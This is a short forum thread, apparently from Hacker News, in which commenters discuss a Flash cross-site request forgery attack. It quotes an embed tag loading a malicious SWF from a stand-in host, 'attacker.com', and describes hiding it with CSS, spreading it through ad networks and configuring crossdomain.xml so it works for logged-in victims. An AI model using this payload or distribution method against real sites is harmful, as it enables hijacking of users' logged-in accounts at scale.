3 ms·
<embed src="http://attacker.com/evil.swf></embed> is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put
by nbpoole 16y ago
<embed src="http://attacker.com/evil.swf></embed>
is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
- scommab 16y agoIf you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you. Edit: grammar.
- nbpoole 16y agoCorrect. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.